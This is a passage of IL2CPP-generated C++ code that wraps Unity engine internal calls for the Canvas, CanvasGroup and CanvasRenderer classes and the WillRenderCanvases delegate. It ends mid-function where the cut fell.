UnityEngine.Canvas::set_sortingLayerID(System.Int32) extern "C" void Canvas_set_sortingLayerID_m537411565 (Canvas_t209405766 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*Canvas_set_sortingLayerID_m537411565_ftn) (Canvas_t209405766 *, int32_t); static Canvas_set_sortingLayerID_m537411565_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_set_sortingLayerID_m537411565_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_sortingLayerID(System.Int32)"); _il2cpp_icall_func(__this, ___value0); } // UnityEngine.Canvas UnityEngine.Canvas::get_rootCanvas() extern "C" Canvas_t209405766 * Canvas_get_rootCanvas_m1790974328 (Canvas_t209405766 * __this, const MethodInfo* method) { typedef Canvas_t209405766 * (*Canvas_get_rootCanvas_m1790974328_ftn) (Canvas_t209405766 *); static Canvas_get_rootCanvas_m1790974328_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_get_rootCanvas_m1790974328_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_rootCanvas()"); return _il2cpp_icall_func(__this); } // UnityEngine.Material UnityEngine.Canvas::GetDefaultCanvasMaterial() extern "C" Material_t193706927 * Canvas_GetDefaultCanvasMaterial_m1290649642 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef Material_t193706927 * (*Canvas_GetDefaultCanvasMaterial_m1290649642_ftn) (); static Canvas_GetDefaultCanvasMaterial_m1290649642_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_GetDefaultCanvasMaterial_m1290649642_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::GetDefaultCanvasMaterial()"); return _il2cpp_icall_func(); } // UnityEngine.Material UnityEngine.Canvas::GetETC1SupportedCanvasMaterial() extern "C" Material_t193706927 * Canvas_GetETC1SupportedCanvasMaterial_m1927784046 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { typedef Material_t193706927 * (*Canvas_GetETC1SupportedCanvasMaterial_m1927784046_ftn) (); static Canvas_GetETC1SupportedCanvasMaterial_m1927784046_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Canvas_GetETC1SupportedCanvasMaterial_m1927784046_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::GetETC1SupportedCanvasMaterial()"); return _il2cpp_icall_func(); } // System.Void UnityEngine.Canvas::add_willRenderCanvases(UnityEngine.Canvas/WillRenderCanvases) extern "C" void Canvas_add_willRenderCanvases_m3467125643 (Il2CppObject * __this /* static, unused */, WillRenderCanvases_t3522132132 * ___value0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Canvas_add_willRenderCanvases_m3467125643_MetadataUsageId); s_Il2CppMethodInitialized = true; } WillRenderCanvases_t3522132132 * V_0 = NULL; WillRenderCanvases_t3522132132 * V_1 = NULL; { WillRenderCanvases_t3522132132 * L_0 = ((Canvas_t209405766_StaticFields*)Canvas_t209405766_il2cpp_TypeInfo_var->static_fields)->get_willRenderCanvases_2(); V_0 = L_0; } IL_0006: { WillRenderCanvases_t3522132132 * L_1 = V_0; V_1 = L_1; WillRenderCanvases_t3522132132 * L_2 = V_1; WillRenderCanvases_t3522132132 * L_3 = ___value0; Delegate_t3022476291 * L_4 = Delegate_Combine_m3791207084(NULL /*static, unused*/, L_2, L_3, /*hidden argument*/NULL); WillRenderCanvases_t3522132132 * L_5 = V_0; WillRenderCanvases_t3522132132 * L_6 = InterlockedCompareExchangeImpl((((Canvas_t209405766_StaticFields*)Canvas_t209405766_il2cpp_TypeInfo_var->static_fields)->get_address_of_willRenderCanvases_2()), ((WillRenderCanvases_t3522132132 *)CastclassSealed(L_4, WillRenderCanvases_t3522132132_il2cpp_TypeInfo_var)), L_5); V_0 = L_6; WillRenderCanvases_t3522132132 * L_7 = V_0; WillRenderCanvases_t3522132132 * L_8 = V_1; if ((!(((Il2CppObject*)(WillRenderCanvases_t3522132132 *)L_7) == ((Il2CppObject*)(WillRenderCanvases_t3522132132 *)L_8)))) { goto IL_0006; } } { return; } } // System.Void UnityEngine.Canvas::remove_willRenderCanvases(UnityEngine.Canvas/WillRenderCanvases) extern "C" void Canvas_remove_willRenderCanvases_m1070419298 (Il2CppObject * __this /* static, unused */, WillRenderCanvases_t3522132132 * ___value0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Canvas_remove_willRenderCanvases_m1070419298_MetadataUsageId); s_Il2CppMethodInitialized = true; } WillRenderCanvases_t3522132132 * V_0 = NULL; WillRenderCanvases_t3522132132 * V_1 = NULL; { WillRenderCanvases_t3522132132 * L_0 = ((Canvas_t209405766_StaticFields*)Canvas_t209405766_il2cpp_TypeInfo_var->static_fields)->get_willRenderCanvases_2(); V_0 = L_0; } IL_0006: { WillRenderCanvases_t3522132132 * L_1 = V_0; V_1 = L_1; WillRenderCanvases_t3522132132 * L_2 = V_1; WillRenderCanvases_t3522132132 * L_3 = ___value0; Delegate_t3022476291 * L_4 = Delegate_Remove_m2626518725(NULL /*static, unused*/, L_2, L_3, /*hidden argument*/NULL); WillRenderCanvases_t3522132132 * L_5 = V_0; WillRenderCanvases_t3522132132 * L_6 = InterlockedCompareExchangeImpl((((Canvas_t209405766_StaticFields*)Canvas_t209405766_il2cpp_TypeInfo_var->static_fields)->get_address_of_willRenderCanvases_2()), ((WillRenderCanvases_t3522132132 *)CastclassSealed(L_4, WillRenderCanvases_t3522132132_il2cpp_TypeInfo_var)), L_5); V_0 = L_6; WillRenderCanvases_t3522132132 * L_7 = V_0; WillRenderCanvases_t3522132132 * L_8 = V_1; if ((!(((Il2CppObject*)(WillRenderCanvases_t3522132132 *)L_7) == ((Il2CppObject*)(WillRenderCanvases_t3522132132 *)L_8)))) { goto IL_0006; } } { return; } } // System.Void UnityEngine.Canvas::SendWillRenderCanvases() extern "C" void Canvas_SendWillRenderCanvases_m3796535067 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Canvas_SendWillRenderCanvases_m3796535067_MetadataUsageId); s_Il2CppMethodInitialized = true; } { WillRenderCanvases_t3522132132 * L_0 = ((Canvas_t209405766_StaticFields*)Canvas_t209405766_il2cpp_TypeInfo_var->static_fields)->get_willRenderCanvases_2(); if (!L_0) { goto IL_0015; } } { WillRenderCanvases_t3522132132 * L_1 = ((Canvas_t209405766_StaticFields*)Canvas_t209405766_il2cpp_TypeInfo_var->static_fields)->get_willRenderCanvases_2(); NullCheck(L_1); WillRenderCanvases_Invoke_m472872824(L_1, /*hidden argument*/NULL); } IL_0015: { return; } } // System.Void UnityEngine.Canvas::ForceUpdateCanvases() extern "C" void Canvas_ForceUpdateCanvases_m2446828475 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { { Canvas_SendWillRenderCanvases_m3796535067(NULL /*static, unused*/, /*hidden argument*/NULL); return; } } extern "C" void DelegatePInvokeWrapper_WillRenderCanvases_t3522132132 (WillRenderCanvases_t3522132132 * __this, const MethodInfo* method) { typedef void (STDCALL *PInvokeFunc)(); PInvokeFunc il2cppPInvokeFunc = reinterpret_cast(((Il2CppDelegate*)__this)->method->methodPointer); // Native function invocation il2cppPInvokeFunc(); } // System.Void UnityEngine.Canvas/WillRenderCanvases::.ctor(System.Object,System.IntPtr) extern "C" void WillRenderCanvases__ctor_m1996025778 (WillRenderCanvases_t3522132132 * __this, Il2CppObject * ___object0, IntPtr_t ___method1, const MethodInfo* method) { __this->set_method_ptr_0((Il2CppMethodPointer)((MethodInfo*)___method1.get_m_value_0())->methodPointer); __this->set_method_3(___method1); __this->set_m_target_2(___object0); } // System.Void UnityEngine.Canvas/WillRenderCanvases::Invoke() extern "C" void WillRenderCanvases_Invoke_m472872824 (WillRenderCanvases_t3522132132 * __this, const MethodInfo* method) { if(__this->get_prev_9() != NULL) { WillRenderCanvases_Invoke_m472872824((WillRenderCanvases_t3522132132 *)__this->get_prev_9(), method); } il2cpp_codegen_raise_execution_engine_exception_if_method_is_not_found((MethodInfo*)(__this->get_method_3().get_m_value_0())); bool ___methodIsStatic = MethodIsStatic((MethodInfo*)(__this->get_method_3().get_m_value_0())); if ((__this->get_m_target_2() != NULL || MethodHasParameters((MethodInfo*)(__this->get_method_3().get_m_value_0()))) && ___methodIsStatic) { typedef void (*FunctionPointerType) (Il2CppObject *, void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(NULL,__this->get_m_target_2(),(MethodInfo*)(__this->get_method_3().get_m_value_0())); } else { typedef void (*FunctionPointerType) (void* __this, const MethodInfo* method); ((FunctionPointerType)__this->get_method_ptr_0())(__this->get_m_target_2(),(MethodInfo*)(__this->get_method_3().get_m_value_0())); } } // System.IAsyncResult UnityEngine.Canvas/WillRenderCanvases::BeginInvoke(System.AsyncCallback,System.Object) extern "C" Il2CppObject * WillRenderCanvases_BeginInvoke_m1914028027 (WillRenderCanvases_t3522132132 * __this, AsyncCallback_t163412349 * ___callback0, Il2CppObject * ___object1, const MethodInfo* method) { void *__d_args[1] = {0}; return (Il2CppObject *)il2cpp_codegen_delegate_begin_invoke((Il2CppDelegate*)__this, __d_args, (Il2CppDelegate*)___callback0, (Il2CppObject*)___object1); } // System.Void UnityEngine.Canvas/WillRenderCanvases::EndInvoke(System.IAsyncResult) extern "C" void WillRenderCanvases_EndInvoke_m3215676440 (WillRenderCanvases_t3522132132 * __this, Il2CppObject * ___result0, const MethodInfo* method) { il2cpp_codegen_delegate_end_invoke((Il2CppAsyncResult*) ___result0, 0); } // System.Single UnityEngine.CanvasGroup::get_alpha() extern "C" float CanvasGroup_get_alpha_m1304564441 (CanvasGroup_t3296560743 * __this, const MethodInfo* method) { typedef float (*CanvasGroup_get_alpha_m1304564441_ftn) (CanvasGroup_t3296560743 *); static CanvasGroup_get_alpha_m1304564441_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasGroup_get_alpha_m1304564441_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_alpha()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.CanvasGroup::set_alpha(System.Single) extern "C" void CanvasGroup_set_alpha_m3292984624 (CanvasGroup_t3296560743 * __this, float ___value0, const MethodInfo* method) { typedef void (*CanvasGroup_set_alpha_m3292984624_ftn) (CanvasGroup_t3296560743 *, float); static CanvasGroup_set_alpha_m3292984624_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasGroup_set_alpha_m3292984624_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::set_alpha(System.Single)"); _il2cpp_icall_func(__this, ___value0); } // System.Boolean UnityEngine.CanvasGroup::get_interactable() extern "C" bool CanvasGroup_get_interactable_m3354621007 (CanvasGroup_t3296560743 * __this, const MethodInfo* method) { typedef bool (*CanvasGroup_get_interactable_m3354621007_ftn) (CanvasGroup_t3296560743 *); static CanvasGroup_get_interactable_m3354621007_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasGroup_get_interactable_m3354621007_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_interactable()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.CanvasGroup::get_blocksRaycasts() extern "C" bool CanvasGroup_get_blocksRaycasts_m3945388797 (CanvasGroup_t3296560743 * __this, const MethodInfo* method) { typedef bool (*CanvasGroup_get_blocksRaycasts_m3945388797_ftn) (CanvasGroup_t3296560743 *); static CanvasGroup_get_blocksRaycasts_m3945388797_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasGroup_get_blocksRaycasts_m3945388797_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_blocksRaycasts()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.CanvasGroup::get_ignoreParentGroups() extern "C" bool CanvasGroup_get_ignoreParentGroups_m534041855 (CanvasGroup_t3296560743 * __this, const MethodInfo* method) { typedef bool (*CanvasGroup_get_ignoreParentGroups_m534041855_ftn) (CanvasGroup_t3296560743 *); static CanvasGroup_get_ignoreParentGroups_m534041855_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasGroup_get_ignoreParentGroups_m534041855_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasGroup::get_ignoreParentGroups()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.CanvasGroup::IsRaycastLocationValid(UnityEngine.Vector2,UnityEngine.Camera) extern "C" bool CanvasGroup_IsRaycastLocationValid_m1999696282 (CanvasGroup_t3296560743 * __this, Vector2_t2243707579 ___sp0, Camera_t189460977 * ___eventCamera1, const MethodInfo* method) { bool V_0 = false; { bool L_0 = CanvasGroup_get_blocksRaycasts_m3945388797(__this, /*hidden argument*/NULL); V_0 = L_0; goto IL_000d; } IL_000d: { bool L_1 = V_0; return L_1; } } // System.Void UnityEngine.CanvasRenderer::SetColor(UnityEngine.Color) extern "C" void CanvasRenderer_SetColor_m1241254365 (CanvasRenderer_t261436805 * __this, Color_t2020392075 ___color0, const MethodInfo* method) { { CanvasRenderer_INTERNAL_CALL_SetColor_m3342810068(NULL /*static, unused*/, __this, (&___color0), /*hidden argument*/NULL); return; } } // System.Void UnityEngine.CanvasRenderer::INTERNAL_CALL_SetColor(UnityEngine.CanvasRenderer,UnityEngine.Color&) extern "C" void CanvasRenderer_INTERNAL_CALL_SetColor_m3342810068 (Il2CppObject * __this /* static, unused */, CanvasRenderer_t261436805 * ___self0, Color_t2020392075 * ___color1, const MethodInfo* method) { typedef void (*CanvasRenderer_INTERNAL_CALL_SetColor_m3342810068_ftn) (CanvasRenderer_t261436805 *, Color_t2020392075 *); static CanvasRenderer_INTERNAL_CALL_SetColor_m3342810068_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_INTERNAL_CALL_SetColor_m3342810068_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::INTERNAL_CALL_SetColor(UnityEngine.CanvasRenderer,UnityEngine.Color&)"); _il2cpp_icall_func(___self0, ___color1); } // UnityEngine.Color UnityEngine.CanvasRenderer::GetColor() extern "C" Color_t2020392075 CanvasRenderer_GetColor_m3395389094 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); Color_t2020392075 V_1; memset(&V_1, 0, sizeof(V_1)); { CanvasRenderer_INTERNAL_CALL_GetColor_m132373064(NULL /*static, unused*/, __this, (&V_0), /*hidden argument*/NULL); Color_t2020392075 L_0 = V_0; V_1 = L_0; goto IL_0010; } IL_0010: { Color_t2020392075 L_1 = V_1; return L_1; } } // System.Void UnityEngine.CanvasRenderer::INTERNAL_CALL_GetColor(UnityEngine.CanvasRenderer,UnityEngine.Color&) extern "C" void CanvasRenderer_INTERNAL_CALL_GetColor_m132373064 (Il2CppObject * __this /* static, unused */, CanvasRenderer_t261436805 * ___self0, Color_t2020392075 * ___value1, const MethodInfo* method) { typedef void (*CanvasRenderer_INTERNAL_CALL_GetColor_m132373064_ftn) (CanvasRenderer_t261436805 *, Color_t2020392075 *); static CanvasRenderer_INTERNAL_CALL_GetColor_m132373064_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_INTERNAL_CALL_GetColor_m132373064_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::INTERNAL_CALL_GetColor(UnityEngine.CanvasRenderer,UnityEngine.Color&)"); _il2cpp_icall_func(___self0, ___value1); } // System.Void UnityEngine.CanvasRenderer::EnableRectClipping(UnityEngine.Rect) extern "C" void CanvasRenderer_EnableRectClipping_m478557626 (CanvasRenderer_t261436805 * __this, Rect_t3681755626 ___rect0, const MethodInfo* method) { { CanvasRenderer_INTERNAL_CALL_EnableRectClipping_m2214772297(NULL /*static, unused*/, __this, (&___rect0), /*hidden argument*/NULL); return; } } // System.Void UnityEngine.CanvasRenderer::INTERNAL_CALL_EnableRectClipping(UnityEngine.CanvasRenderer,UnityEngine.Rect&) extern "C" void CanvasRenderer_INTERNAL_CALL_EnableRectClipping_m2214772297 (Il2CppObject * __this /* static, unused */, CanvasRenderer_t261436805 * ___self0, Rect_t3681755626 * ___rect1, const MethodInfo* method) { typedef void (*CanvasRenderer_INTERNAL_CALL_EnableRectClipping_m2214772297_ftn) (CanvasRenderer_t261436805 *, Rect_t3681755626 *); static CanvasRenderer_INTERNAL_CALL_EnableRectClipping_m2214772297_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_INTERNAL_CALL_EnableRectClipping_m2214772297_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::INTERNAL_CALL_EnableRectClipping(UnityEngine.CanvasRenderer,UnityEngine.Rect&)"); _il2cpp_icall_func(___self0, ___rect1); } // System.Void UnityEngine.CanvasRenderer::DisableRectClipping() extern "C" void CanvasRenderer_DisableRectClipping_m2720508088 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { typedef void (*CanvasRenderer_DisableRectClipping_m2720508088_ftn) (CanvasRenderer_t261436805 *); static CanvasRenderer_DisableRectClipping_m2720508088_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_DisableRectClipping_m2720508088_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::DisableRectClipping()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.CanvasRenderer::set_hasPopInstruction(System.Boolean) extern "C" void CanvasRenderer_set_hasPopInstruction_m1388844875 (CanvasRenderer_t261436805 * __this, bool ___value0, const MethodInfo* method) { typedef void (*CanvasRenderer_set_hasPopInstruction_m1388844875_ftn) (CanvasRenderer_t261436805 *, bool); static CanvasRenderer_set_hasPopInstruction_m1388844875_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_set_hasPopInstruction_m1388844875_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_hasPopInstruction(System.Boolean)"); _il2cpp_icall_func(__this, ___value0); } // System.Int32 UnityEngine.CanvasRenderer::get_materialCount() extern "C" int32_t CanvasRenderer_get_materialCount_m2862217439 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { typedef int32_t (*CanvasRenderer_get_materialCount_m2862217439_ftn) (CanvasRenderer_t261436805 *); static CanvasRenderer_get_materialCount_m2862217439_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_get_materialCount_m2862217439_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_materialCount()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.CanvasRenderer::set_materialCount(System.Int32) extern "C" void CanvasRenderer_set_materialCount_m803316782 (CanvasRenderer_t261436805 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*CanvasRenderer_set_materialCount_m803316782_ftn) (CanvasRenderer_t261436805 *, int32_t); static CanvasRenderer_set_materialCount_m803316782_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_set_materialCount_m803316782_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_materialCount(System.Int32)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,System.Int32) extern "C" void CanvasRenderer_SetMaterial_m1462355522 (CanvasRenderer_t261436805 * __this, Material_t193706927 * ___material0, int32_t ___index1, const MethodInfo* method) { typedef void (*CanvasRenderer_SetMaterial_m1462355522_ftn) (CanvasRenderer_t261436805 *, Material_t193706927 *, int32_t); static CanvasRenderer_SetMaterial_m1462355522_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SetMaterial_m1462355522_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,System.Int32)"); _il2cpp_icall_func(__this, ___material0, ___index1); } // System.Void UnityEngine.CanvasRenderer::SetMaterial(UnityEngine.Material,UnityEngine.Texture) extern "C" void CanvasRenderer_SetMaterial_m1741420785 (CanvasRenderer_t261436805 * __this, Material_t193706927 * ___material0, Texture_t2243626319 * ___texture1, const MethodInfo* method) { { int32_t L_0 = CanvasRenderer_get_materialCount_m2862217439(__this, /*hidden argument*/NULL); int32_t L_1 = Math_Max_m2671311541(NULL /*static, unused*/, 1, L_0, /*hidden argument*/NULL); CanvasRenderer_set_materialCount_m803316782(__this, L_1, /*hidden argument*/NULL); Material_t193706927 * L_2 = ___material0; CanvasRenderer_SetMaterial_m1462355522(__this, L_2, 0, /*hidden argument*/NULL); Texture_t2243626319 * L_3 = ___texture1; CanvasRenderer_SetTexture_m2394798173(__this, L_3, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.CanvasRenderer::set_popMaterialCount(System.Int32) extern "C" void CanvasRenderer_set_popMaterialCount_m3394823403 (CanvasRenderer_t261436805 * __this, int32_t ___value0, const MethodInfo* method) { typedef void (*CanvasRenderer_set_popMaterialCount_m3394823403_ftn) (CanvasRenderer_t261436805 *, int32_t); static CanvasRenderer_set_popMaterialCount_m3394823403_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_set_popMaterialCount_m3394823403_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_popMaterialCount(System.Int32)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.CanvasRenderer::SetPopMaterial(UnityEngine.Material,System.Int32) extern "C" void CanvasRenderer_SetPopMaterial_m3522214039 (CanvasRenderer_t261436805 * __this, Material_t193706927 * ___material0, int32_t ___index1, const MethodInfo* method) { typedef void (*CanvasRenderer_SetPopMaterial_m3522214039_ftn) (CanvasRenderer_t261436805 *, Material_t193706927 *, int32_t); static CanvasRenderer_SetPopMaterial_m3522214039_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SetPopMaterial_m3522214039_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetPopMaterial(UnityEngine.Material,System.Int32)"); _il2cpp_icall_func(__this, ___material0, ___index1); } // System.Void UnityEngine.CanvasRenderer::SetTexture(UnityEngine.Texture) extern "C" void CanvasRenderer_SetTexture_m2394798173 (CanvasRenderer_t261436805 * __this, Texture_t2243626319 * ___texture0, const MethodInfo* method) { typedef void (*CanvasRenderer_SetTexture_m2394798173_ftn) (CanvasRenderer_t261436805 *, Texture_t2243626319 *); static CanvasRenderer_SetTexture_m2394798173_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SetTexture_m2394798173_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetTexture(UnityEngine.Texture)"); _il2cpp_icall_func(__this, ___texture0); } // System.Void UnityEngine.CanvasRenderer::SetAlphaTexture(UnityEngine.Texture) extern "C" void CanvasRenderer_SetAlphaTexture_m3093886085 (CanvasRenderer_t261436805 * __this, Texture_t2243626319 * ___texture0, const MethodInfo* method) { typedef void (*CanvasRenderer_SetAlphaTexture_m3093886085_ftn) (CanvasRenderer_t261436805 *, Texture_t2243626319 *); static CanvasRenderer_SetAlphaTexture_m3093886085_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SetAlphaTexture_m3093886085_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetAlphaTexture(UnityEngine.Texture)"); _il2cpp_icall_func(__this, ___texture0); } // System.Void UnityEngine.CanvasRenderer::SetMesh(UnityEngine.Mesh) extern "C" void CanvasRenderer_SetMesh_m2850571117 (CanvasRenderer_t261436805 * __this, Mesh_t1356156583 * ___mesh0, const MethodInfo* method) { typedef void (*CanvasRenderer_SetMesh_m2850571117_ftn) (CanvasRenderer_t261436805 *, Mesh_t1356156583 *); static CanvasRenderer_SetMesh_m2850571117_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SetMesh_m2850571117_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SetMesh(UnityEngine.Mesh)"); _il2cpp_icall_func(__this, ___mesh0); } // System.Void UnityEngine.CanvasRenderer::Clear() extern "C" void CanvasRenderer_Clear_m2419751129 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { typedef void (*CanvasRenderer_Clear_m2419751129_ftn) (CanvasRenderer_t261436805 *); static CanvasRenderer_Clear_m2419751129_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_Clear_m2419751129_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::Clear()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.CanvasRenderer::SplitUIVertexStreams(System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1) extern "C" void CanvasRenderer_SplitUIVertexStreams_m2145837300 (Il2CppObject * __this /* static, unused */, List_1_t573379950 * ___verts0, List_1_t1612828712 * ___positions1, List_1_t243638650 * ___colors2, List_1_t1612828711 * ___uv0S3, List_1_t1612828711 * ___uv1S4, List_1_t1612828712 * ___normals5, List_1_t1612828713 * ___tangents6, List_1_t1440998580 * ___indicies7, const MethodInfo* method) { { List_1_t573379950 * L_0 = ___verts0; List_1_t1612828712 * L_1 = ___positions1; List_1_t243638650 * L_2 = ___colors2; List_1_t1612828711 * L_3 = ___uv0S3; List_1_t1612828711 * L_4 = ___uv1S4; List_1_t1612828712 * L_5 = ___normals5; List_1_t1612828713 * L_6 = ___tangents6; CanvasRenderer_SplitUIVertexStreamsInternal_m729405782(NULL /*static, unused*/, L_0, L_1, L_2, L_3, L_4, L_5, L_6, /*hidden argument*/NULL); List_1_t573379950 * L_7 = ___verts0; List_1_t1440998580 * L_8 = ___indicies7; CanvasRenderer_SplitIndiciesStreamsInternal_m3005676420(NULL /*static, unused*/, L_7, L_8, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.CanvasRenderer::SplitUIVertexStreamsInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object) extern "C" void CanvasRenderer_SplitUIVertexStreamsInternal_m729405782 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___verts0, Il2CppObject * ___positions1, Il2CppObject * ___colors2, Il2CppObject * ___uv0S3, Il2CppObject * ___uv1S4, Il2CppObject * ___normals5, Il2CppObject * ___tangents6, const MethodInfo* method) { typedef void (*CanvasRenderer_SplitUIVertexStreamsInternal_m729405782_ftn) (Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *); static CanvasRenderer_SplitUIVertexStreamsInternal_m729405782_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SplitUIVertexStreamsInternal_m729405782_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SplitUIVertexStreamsInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)"); _il2cpp_icall_func(___verts0, ___positions1, ___colors2, ___uv0S3, ___uv1S4, ___normals5, ___tangents6); } // System.Void UnityEngine.CanvasRenderer::SplitIndiciesStreamsInternal(System.Object,System.Object) extern "C" void CanvasRenderer_SplitIndiciesStreamsInternal_m3005676420 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___verts0, Il2CppObject * ___indicies1, const MethodInfo* method) { typedef void (*CanvasRenderer_SplitIndiciesStreamsInternal_m3005676420_ftn) (Il2CppObject *, Il2CppObject *); static CanvasRenderer_SplitIndiciesStreamsInternal_m3005676420_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_SplitIndiciesStreamsInternal_m3005676420_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::SplitIndiciesStreamsInternal(System.Object,System.Object)"); _il2cpp_icall_func(___verts0, ___indicies1); } // System.Void UnityEngine.CanvasRenderer::CreateUIVertexStream(System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1) extern "C" void CanvasRenderer_CreateUIVertexStream_m197449703 (Il2CppObject * __this /* static, unused */, List_1_t573379950 * ___verts0, List_1_t1612828712 * ___positions1, List_1_t243638650 * ___colors2, List_1_t1612828711 * ___uv0S3, List_1_t1612828711 * ___uv1S4, List_1_t1612828712 * ___normals5, List_1_t1612828713 * ___tangents6, List_1_t1440998580 * ___indicies7, const MethodInfo* method) { { List_1_t573379950 * L_0 = ___verts0; List_1_t1612828712 * L_1 = ___positions1; List_1_t243638650 * L_2 = ___colors2; List_1_t1612828711 * L_3 = ___uv0S3; List_1_t1612828711 * L_4 = ___uv1S4; List_1_t1612828712 * L_5 = ___normals5; List_1_t1612828713 * L_6 = ___tangents6; List_1_t1440998580 * L_7 = ___indicies7; CanvasRenderer_CreateUIVertexStreamInternal_m2886336395(NULL 